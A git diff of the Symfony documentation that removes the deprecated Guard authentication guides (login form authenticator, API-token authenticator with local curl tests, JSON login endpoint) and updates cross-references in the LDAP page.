-        public function __construct(EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder)
-        {
-            $this->entityManager = $entityManager;
-            $this->urlGenerator = $urlGenerator;
-            $this->csrfTokenManager = $csrfTokenManager;
-            $this->passwordEncoder = $passwordEncoder;
-        }
-
-        public function supports(Request $request): bool
-        {
-            return self::LOGIN_ROUTE === $request->attributes->get('_route')
-                && $request->isMethod('POST');
-        }
-
-        public function getCredentials(Request $request)
-        {
-            $credentials = [
-                'email' => $request->request->get('email'),
-                'password' => $request->request->get('password'),
-                'csrf_token' => $request->request->get('_csrf_token'),
-            ];
-            $request->getSession()->set(
-                Security::LAST_USERNAME,
-                $credentials['email']
-            );
-
-            return $credentials;
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider): ?User
-        {
-            $token = new CsrfToken('authenticate', $credentials['csrf_token']);
-            if (!$this->csrfTokenManager->isTokenValid($token)) {
-                throw new InvalidCsrfTokenException();
-            }
-
-            $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $credentials['email']]);
-
-            if (!$user) {
-                // fail authentication with a custom error
-                throw new CustomUserMessageAuthenticationException('Email could not be found.');
-            }
-
-            return $user;
-        }
-
-        public function checkCredentials($credentials, UserInterface $user): bool
-        {
-            return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
-        }
-
-        /**
-         * Used to upgrade (rehash) the user's password automatically over time.
-         */
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response
-        {
-            if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {
-                return new RedirectResponse($targetPath);
-            }
-
-            // For example : return new RedirectResponse($this->urlGenerator->generate('some_route'));
-            throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-        }
-
-        protected function getLoginUrl(): string
-        {
-            return $this->urlGenerator->generate(self::LOGIN_ROUTE);
-        }
-    }
-
-**Step 4.** Updates the main security config file to enable the Guard authenticator and configure logout route:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                    logout:
-                        path: app_logout
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <guard>
-                        <authenticator class="App\Security\LoginFormAuthenticator"/>
-                    </guard>
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $mainFirewall = $security->firewall('main');
-            // ...
-
-            $mainFirewall
-                ->guard()
-                    ->authenticators([LoginFormAuthenticator::class])
-            ;
-
-            $mainFirewall
-                ->logout()
-                    ->path('app_logout')
-            ;
-        };
-
-Finishing the Login Form
-------------------------
-
-Woh. The ``make:auth`` command just did a *lot* of work for you. But, you're not done
-yet. First, go to ``/login`` to see the new login form. Feel free to customize this
-however you want.
-
-When you submit the form, the ``LoginFormAuthenticator`` will intercept the request,
-read the email (or whatever field you're using) & password from the form, find the
-``User`` object, validate the CSRF token and check the password.
-
-But, depending on your setup, you'll need to finish one or more TODOs before the
-whole process works. You will *at least* need to fill in *where* you want your user to
-be redirected after success:
-
-.. code-block:: diff
-
-      // src/Security/LoginFormAuthenticator.php
-
-      // ...
-      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): Response
-      {
-          // ...
-
-    -     throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-    +     // redirect to some "app_homepage" route - of wherever you want
-    +     return new RedirectResponse($this->urlGenerator->generate('app_homepage'));
-      }
-
-Unless you have any other TODOs in that file, that's it! If you're loading users
-from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`.
-Then, try to login.
-
-If you're successful, the web debug toolbar will tell you who you are and what roles
-you have:
-
-.. image:: /_images/security/symfony_loggedin_wdt.png
-   :align: center
-
-The Guard authentication system is powerful, and you can customize your authenticator
-class to do whatever you need. To learn more about what the individual methods do,
-see :doc:`/security/guard_authentication`.
-
-Controlling Error Messages
---------------------------
-
-You can cause authentication to fail with a custom message at any step by throwing
-a custom :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-But in some cases, like if you return ``false`` from ``checkCredentials()``, you
-may see an error that comes from the core of Symfony - like ``Invalid credentials.``.
-
-To customize this message, you could throw a ``CustomUserMessageAuthenticationException``
-instead. Or, you can :doc:`translate </translation>` the message through the ``security``
-domain:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/security.en.xlf -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="Invalid credentials.">
-                        <source>Invalid credentials.</source>
-                        <target>The password you entered was invalid!</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/security.en.yaml
-        'Invalid credentials.': 'The password you entered was invalid!'
-
-    .. code-block:: php
-
-        // translations/security.en.php
-        return [
-            'Invalid credentials.' => 'The password you entered was invalid!',
-        ];
-
-If the message isn't translated, make sure you've installed the ``translator``
-and try clearing your cache:
-
-.. code-block:: terminal
-
-    $ php bin/console cache:clear
-
-Redirecting to the Last Accessed Page with ``TargetPathTrait``
---------------------------------------------------------------
-
-The last request URI is stored in a session variable named
-``_security.<your providerKey>.target_path`` (e.g. ``_security.main.target_path``
-if the name of your firewall is ``main``). Most of the times you don't have to
-deal with this low level session variable. However, the
-:class:`Symfony\\Component\\Security\\Http\\Util\\TargetPathTrait` utility
-can be used to read (like in the example above) or set this value manually.
-
-When the user tries to access a restricted page, they are being redirected to
-the login page. At that point target path will be set. After a successful login,
-the user will be redirected to this previously set target path.
-
-If you also want to apply this behavior to public pages, you can create an
-:doc:`event subscriber </event_dispatcher>` to set the target path manually
-whenever the user browses a page::
-
-    // src/EventSubscriber/RequestSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class RequestSubscriber implements EventSubscriberInterface
-    {
-        use TargetPathTrait;
-
-        public function onKernelRequest(RequestEvent $event): void
-        {
-            $request = $event->getRequest();
-            if (
-                !$event->isMainRequest()
-                || $request->isXmlHttpRequest()
-                || 'app_login' === $request->attributes->get('_route')
-            ) {
-                return;
-            }
-
-            $this->saveTargetPath($request->getSession(), 'main', $request->getUri());
-        }
-
-        public static function getSubscribedEvents(): array
-        {
-            return [
-                KernelEvents::REQUEST => ['onKernelRequest'],
-            ];
-        }
-    }
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
deleted file mode 100644
index 8b61ac97558..00000000000
--- a/security/guard_authentication.rst
+++ /dev/null
@@ -1,577 +0,0 @@
-.. index::
-    single: Security; Custom Authentication
-
-Custom Authentication System with Guard (API Token Example)
-===========================================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-Guard authentication can be used to:
-
-* :doc:`Build a Login Form </security/form_login_setup>`
-* Create an API token authentication system (see below)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
-* Integrate with some proprietary single-sign-on system
-
-and many more. In this example, we'll build an API token authentication
-system, so we can learn more about Guard in detail.
-
-Step 1) Prepare your User Class
--------------------------------
-
-Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header
-on each request with their API token. Your job is to read this and find the associated
-user (if any).
-
-First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then add an ``apiToken`` property directly to
-your ``User`` class (the ``make:entity`` command is a good way to do this):
-
-.. code-block:: diff
-
-      // src/Entity/User.php
-      namespace App\Entity;
-
-      // ...
-
-      class User implements UserInterface
-      {
-          // ...
-
-    +     /**
-    +      * @ORM\Column(type="string", unique=true, nullable=true)
-    +      */
-    +     private $apiToken;
-
-          // the getter and setter methods
-      }
-
-Don't forget to generate and run the migration:
-
-.. code-block:: terminal
-
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
-
-Next, configure your "user provider" to use this new ``apiToken`` property:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                your_db_provider:
-                    entity:
-                        class: App\Entity\User
-                        property: apiToken
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="your_db_provider">
-                    <entity class="App\Entity\User" property="apiToken"/>
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->provider('your_db_provider')
-                ->entity('App\Entity\User')
-                ->property('apiToken')
-            ;
-
-            // ...
-        };
-
-Step 2) Create the Authenticator Class
---------------------------------------
-
-To create a custom authentication system, create a class and make it implement
-:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend
-the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`.
-
-This requires you to implement several methods::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Guard\AbstractGuardAuthenticator;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        private $em;
-
-        public function __construct(EntityManagerInterface $em)
-        {
-            $this->em = $em;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request): bool
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        /**
-         * Called on every request. Return whatever credentials you want to
-         * be passed to getUser() as $credentials.
-         */
-        public function getCredentials(Request $request)
-        {
-            return $request->headers->get('X-AUTH-TOKEN');
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider): ?UserInterface
-        {
-            if (null === $credentials) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                return null;
-            }
-
-            // The user identifier in this case is the apiToken, see the key `property`
-            // of `your_db_provider` in `security.yaml`.
-            // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByIdentifier($credentials);
-        }
-
-        public function checkCredentials($credentials, UserInterface $user): bool
-        {
-            // Check credentials - e.g. make sure the password is valid.
-            // In case of an API token, no credential check is needed.
-
-            // Return `true` to cause authentication success
-            return true;
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey): ?Response
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        /**
-         * Called when authentication is needed, but it's not sent
-         */
-        public function start(Request $request, AuthenticationException $authException = null): Response
-        {
-            $data = [
-                // you might translate this message
-                'message' => 'Authentication Required'
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        public function supportsRememberMe(): bool
-        {
-            return false;
-        }
-    }
-
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
-
-Step 3) Configure the Authenticator
------------------------------------
-
-To finish this, make sure your authenticator is registered as a service. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                # ...
-
-                main:
-                    anonymous: true
-                    lazy: true
-                    logout: ~
-
-                    guard:
-                        authenticators:
-                            - App\Security\TokenAuthenticator
-
-                    # if you want, disable storing the user in the session
-                    # stateless: true
-
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-            <config>
-                <!-- ... -->
-
-                <!-- if you want, disable storing the user in the session
-                    add 'stateless="true"' to the firewall -->
-                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
-                    <logout/>
-
-                    <guard>
-                        <authenticator>App\Security\TokenAuthenticator</authenticator>
-                    </guard>
-
-                    <!-- ... -->
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\TokenAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall
-                ->pattern('^/')
-                ->lazy(true)
-                ->anonymous();
-
-            $mainFirewall->logout();
-            $mainFirewall
-                ->guard()
-                    ->authenticators([TokenAuthenticator::class])
-            ;
-            // if you want, disable storing the user in the session
-            // $mainFirewall->stateless(true);
-            // ...
-        };
-
-You did it! You now have a fully-working API token authentication system. If your
-homepage required ``ROLE_USER``, then you could test it under different conditions:
-
-.. code-block:: terminal
-
-    # test with no token
-    curl http://localhost:8000/
-    # {"message":"Authentication Required"}
-
-    # test with a bad token
-    curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/
-    # {"message":"Username could not be found."}
-
-    # test with a working token
-    curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/
-    # the homepage controller is executed: the page loads normally
-
-Now, learn more about what each method does.
-
-.. _guard-auth-methods:
-
-The Guard Authenticator Methods
--------------------------------
-
-Each authenticator needs the following methods:
-
-**supports(Request $request)**
-    This is called on *every* request and your job is to decide if the
-    authenticator should be used for this request (return ``true``) or if it
-    should be skipped (return ``false``).
-
-**getCredentials(Request $request)**
-    Your job is to read the token (or whatever your "authentication" information is)
-    from the request and return it. These credentials are passed to ``getUser()``.
-
-**getUser($credentials, UserProviderInterface $userProvider)**
-    The ``$credentials`` argument is the value returned by ``getCredentials()``.
-    Your job is to return an object that implements ``UserInterface``. If you do,
-    then ``checkCredentials()`` will be called. If you return ``null`` (or throw
-    an :ref:`AuthenticationException <guard-customize-error>`) authentication
-    will fail.
-
-**checkCredentials($credentials, UserInterface $user)**
-    If ``getUser()`` returns a User object, this method is called. Your job is to
-    verify if the credentials are correct. For a login form, this is where you would
-    check that the password is correct for the user. To pass authentication, return
-    ``true``. If you return ``false``
-    (or throw an :ref:`AuthenticationException <guard-customize-error>`),
-    authentication will fail.
-
-**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
-    This is called after successful authentication and your job is to either
-    return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
-    that will be sent to the client or ``null`` to continue the request
-    (e.g. allow the route/controller to be called like normal). Since this
-    is an API where each request authenticates itself, you want to return
-    ``null``.
-
-**onAuthenticationFailure(Request $request, AuthenticationException $exception)**
-    This is called if authentication fails. Your job
-    is to return the :class:`Symfony\\Component\\HttpFoundation\\Response`
-    object that should be sent to the client. The ``$exception`` will tell you
-    *what* went wrong during authentication.
-
-**start(Request $request, AuthenticationException $authException = null)**
-    This is called if the client accesses a URI/resource that requires authentication,
-    but no authentication details were sent. Your job is to return a
-    :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps
-    the user authenticate (e.g. a 401 response that says "token is missing!").
-
-**supportsRememberMe()**
-    If you want to support "remember me" functionality, return ``true`` from this method.
-    You will still need to activate ``remember_me`` under your firewall for it to work.
-    Since this is a stateless API, you do not want to support "remember me"
-    functionality in this example.
-
-**createAuthenticatedToken(UserInterface $user, string $providerKey)**
-    If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
-    instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
-    class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token (a
-    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
-    for the user, who was supplied as the first argument.
-
-The picture below shows how Symfony calls Guard Authenticator methods:
-
-.. raw:: html
-
-    <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object>
-
-.. _guard-customize-error:
-
-Customizing Error Messages
---------------------------
-
-When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException``
-that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and
-``$exception->getMessageData()``) method. The message will be different based on *where*
-authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``).
-
-But, you can also return a custom message by throwing a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()``
-to cause a failure::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    // ...
-
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        // ...
-
-        public function getCredentials(Request $request)
-        {
-            // ...
-
-            if ($token == 'ILuvAPIs') {
-                throw new CustomUserMessageAuthenticationException(
-                    'ILuvAPIs is not a real API key: it\'s just a silly phrase'
-                );
-            }
-
-            // ...
-        }
-
-        // ...
-    }
-
-In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter
-egg to return a custom message if someone tries this:
-
-.. code-block:: terminal
-
-    curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/
-    # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"}
-
-.. _guard-manual-auth:
-
-Manually Authenticating a User
-------------------------------
-
-Sometimes you might want to manually authenticate a user - like after the user
-completes registration. To do that, use your authenticator and a service called
-``GuardAuthenticatorHandler``::
-
-    // src/Controller/RegistrationController.php
-    namespace App\Controller;
-
-    // ...
-    use App\Security\LoginFormAuthenticator;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
-
-    class RegistrationController extends AbstractController
-    {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request): Response
-        {
-            // ...
-
-            // after validating the user and saving them to the database
-            // authenticate the user and use onAuthenticationSuccess on the authenticator
-            return $guardHandler->authenticateUserAndHandleSuccess(
-                $user,          // the User object you just created
-                $request,
-                $authenticator, // authenticator whose onAuthenticationSuccess you want to use
-                'main'          // the name of your firewall in security.yaml
-            );
-        }
-    }
-
-Avoid Authenticating the Browser on Every Request
--------------------------------------------------
-
-If you create a Guard login system that's used by a browser and you're experiencing
-problems with your session or CSRF tokens, the cause could be bad behavior by your
-authenticator. When a Guard authenticator is meant to be used by a browser, you
-should *not* authenticate the user on *every* request. In other words, you need to
-make sure the ``supports()`` method *only* returns ``true`` when
-you actually *need* to authenticate the user. Why? Because, when ``supports()``
-returns true (and authentication is ultimately successful), for security purposes,
-the user's session is "migrated" to a new session id.
-
-This is an edge-case, and unless you're having session or CSRF token issues, you
-can ignore this. Here is an example of good and bad behavior::
-
-    public function supports(Request $request): bool
-    {
-        // GOOD behavior: only authenticate (i.e. return true) on a specific route
-        return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
-
-        // e.g. your login system authenticates by the user's IP address
-        // BAD behavior: So, you decide to *always* return true so that
-        // you can check the user's IP address on every request
-        return true;
-    }
-
-The problem occurs when your browser-based authenticator tries to authenticate
-the user on *every* request - like in the IP address-based example above. There
-are two possible fixes:
-
-1. If you do *not* need authentication to be stored in the session, set
-   ``stateless: true`` under your firewall.
-2. Update your authenticator to avoid authentication if the user is already
-   authenticated:
-
-.. code-block:: diff
-
-      // src/Security/MyIpAuthenticator.php
-      // ...
-
-    + use Symfony\Component\Security\Core\Security;
-
-      class MyIpAuthenticator
-      {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-          public function supports(Request $request): bool
-          {
-    +         // if there is already an authenticated user (likely due to the session)
-    +         // then return false and skip authentication: there is no need.
-    +         if ($this->security->getUser()) {
-    +             return false;
-    +         }
-
-    +         // the user is not logged in, so the authenticator should continue
-    +         return true;
-          }
-      }
-
-If you use autowiring, the ``Security``  service will automatically be passed to
-your authenticator.
-
-Frequently Asked Questions
---------------------------
-
-**Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose only *one* authenticator to be your
-    "entry_point". This means you'll need to choose *which* authenticator's ``start()``
-    method should be called when an anonymous user tries to access a protected resource.
-    For more details, see :doc:`/security/multiple_guard_authenticators`.
-
-**Can I use this with form_login?**
-    Yes! ``form_login`` is *one* way to authenticate a user, so you could use
-    it *and* then add one or more authenticators. Using a guard authenticator doesn't
-    collide with other ways to authenticate.
-
-**Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
-    ``User`` object and some routes and controllers to help with login, registration,
-    forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
-    to actually authenticate the user. You can continue doing that (see previous
-    question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (like in this article).
-
-.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
-.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
deleted file mode 100644
index 2806f6c9a97..00000000000
--- a/security/json_login_setup.rst
+++ /dev/null
@@ -1,213 +0,0 @@
-How to Build a JSON Authentication Endpoint
-===========================================
-
-In this entry, you'll build a JSON endpoint to log in your users. When the
-user logs in, you can load your users from anywhere - like the database.
-See :ref:`security-user-providers` for details.
-
-First, enable the JSON login under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path: /login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="/login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->anonymous();
-            $mainFirewall->lazy(true);
-            $mainFirewall->jsonLogin()
-                ->checkPath('/login')
-            ;
-        };
-
-.. tip::
-
-    The ``check_path`` can also be a route name (but cannot have mandatory
-    wildcards - e.g. ``/login/{foo}`` where ``foo`` has no default value).
-
-The next step is to configure a route in your app matching this path:
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"POST"})
-             */
-            public function login(Request $request): Response
-            {
-                $user = $this->getUser();
-
-                return $this->json([
-                    // The getUserIdentifier() method was introduced in Symfony 5.3.
-                    // In previous versions it was called getUsername()
-                    'username' => $user->getUserIdentifier(),
-                    'roles' => $user->getRoles(),
-                ]);
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="POST"/>
-        </routes>
-
-    .. code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['POST'])
-            ;
-        };
-
-Now, when you make a ``POST`` request, with the header ``Content-Type: application/json``,
-to the ``/login`` URL with the following JSON document as the body, the security
-system intercepts the request and initiates the authentication process:
-
-.. code-block:: json
-
-    {
-        "username": "dunglas",
-        "password": "MyPassword"
-    }
-
-Symfony takes care of authenticating the user with the submitted username and
-password or triggers an error in case the authentication process fails. If the
-authentication is successful, the controller defined earlier will be called.
-
-If the JSON document has a different structure, you can specify the path to
-access the ``username`` and ``password`` properties using the ``username_path``
-and ``password_path`` keys (they default respectively to ``username`` and
-``password``). For example, if the JSON document has the following structure:
-
-.. code-block:: json
-
-    {
-        "security": {
-            "credentials": {
-                "login": "dunglas",
-                "password": "MyPassword"
-            }
-        }
-    }
-
-The security configuration should be:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path:    login
-                        username_path: security.credentials.login
-                        password_path: security.credentials.password
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="login"
-                        username-path="security.credentials.login"
-                        password-path="security.credentials.password"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->anonymous();
-            $mainFirewall->lazy(true);
-            $mainFirewall->jsonLogin()
-                ->checkPath('/login')
-                ->usernamePath('security.credentials.login')
-                ->passwordPath('security.credentials.password')
-            ;
-        };
diff --git a/security/ldap.rst b/security/ldap.rst
index 7573f901369..ff768969771 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -8,7 +8,7 @@ Symfony provides different means to work with an LDAP server.
 
 The Security component offers:
 
-* The ``ldap`` :doc:`user provider </security/user_provider>`, using the
+* The ``ldap`` :doc:`user provider </security/user_providers>`, using the
   :class:`Symfony\\Component\\Ldap\\Security\\LdapUserProvider`
   class. Like all other user providers, it can be used with any
   authentication provider.
@@ -130,6 +130,8 @@ An LDAP client can be configured using the built-in
                 ],
             ]);
 
+.. _security-ldap-user-provider:
+
 Fetching Users Using the LDAP User Provider
 -------------------------------------------
 
@@ -531,3 +533,4 @@ Configuration example for form login and query_string
